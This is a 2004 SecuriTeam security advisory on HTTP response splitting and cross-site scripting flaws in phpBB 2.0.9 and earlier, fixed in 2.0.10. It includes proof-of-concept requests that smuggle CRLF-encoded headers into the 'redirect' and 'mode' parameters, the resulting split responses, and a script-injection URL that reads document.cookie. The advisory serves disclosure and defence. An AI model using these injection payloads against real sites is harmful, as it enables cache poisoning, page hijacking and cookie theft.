

[UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0084.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/22/04

To: list@securiteam.com

Date: 22 Jul 2004 18:26:38 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities

SUMMARY

<<http://www.phpBB.com>> phpBB is "a high powered, fully scalable, and highly customizable open-source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites."

phpBB is prone to cross-site scripting and HTTP response splitting attacks.

DETAILS

Vulnerable Systems:

* phpBB versions 2.0.9 and prior

Immune Systems:

* phpBB version 2.0.10

HTTP Response Splitting:

Securiteam: [UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities

Two of the scripts in the PhpBB package are vulnerable to HTTP response splitting. The scripts in question are:

- * /phpBB2/privmsg.php ('mode' parameter)
- * /phpBB2/login.php ('redirect' parameter)

These vulnerabilities may allow an attacker to perform various attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and perform cross-site scripting attacks.

Detailed information on HTTP Response Splitting can be found in the white paper <http://www.sanctuminc.com/pdf/WhitePaper_HTTPResponse.pdf> "HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by Amit Klein.

Notes: The HTTP response splitting vulnerabilities do not require the attacker to be logged on to the application. These vulnerabilities should work on Microsoft web servers, WebSTAR and Xitami. Some simple examples are provided below which demonstrate the issue. The following request will cause the application to return a split response (REQUEST and RESPONSE ARE WORD-WRAPPED!):

[REQUEST]

```
POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129
```

```
logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
```

[RESPONSE]

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 09:48:04 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005 09:48:04 GMT; path=/
Set-Cookie: phpbb2mysql_sid=b389d63f8226cc6c8ad349b3aadf41f3; path=/
Refresh: 0; URL=http://SERVER/phpBB2foobar
Content-Length: 0
```

```
HTTP/1.0 200 OK
Content-Length: 7
```

Gotcha!

..

Securiteam: [UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities

..
..

Another example:

[REQUEST]

```
GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Host: SERVER
```

[RESPONSE]

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 12:42:17 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
12:42:17 GMT; path=/
Set-Cookie: phpbb2mysql_sid=74d20cacbfd9d7b16e0bb86a345aea3; path=/
Refresh: 0; URL=http://SERVER/phpBB2login.php?redirect=privmsg
php&folder=inbox&mode=foobar
Content-Length: 0
```

```
HTTP/1.0 200 OK
Content-Length: 7
```

```
Gotcha!&sid=74d20cacbfd9d7b16e0bb86a345aea3
```

..
..
..

Cross-Site Scripting:

When gpc magic quotes are turned off in php.ini, the script '/phpBB2/search.php' is vulnerable to XSS in the 'search_author' parameter. This vulnerability may lead to theft of cookies associated with the domain, or execution of client-side scripts in the user's browser. A simple example follows:
[http://SERVER/phpBB2/search.php?search_author='<scr!pt>alert\(document.cookie\)</scr!pt>'](http://SERVER/phpBB2/search.php?search_author='<scr!pt>alert(document.cookie)</scr!pt>')

Patch Availability:

The above-mentioned vulnerabilities are fixed in the newer 2.0.10 version. Users are encouraged to upgrade to the newer version.

ADDITIONAL INFORMATION

The information has been provided by <mailto:ory.segal@sanctuminc.com>
Ory Segal.

Securiteam: [UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities

=====
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.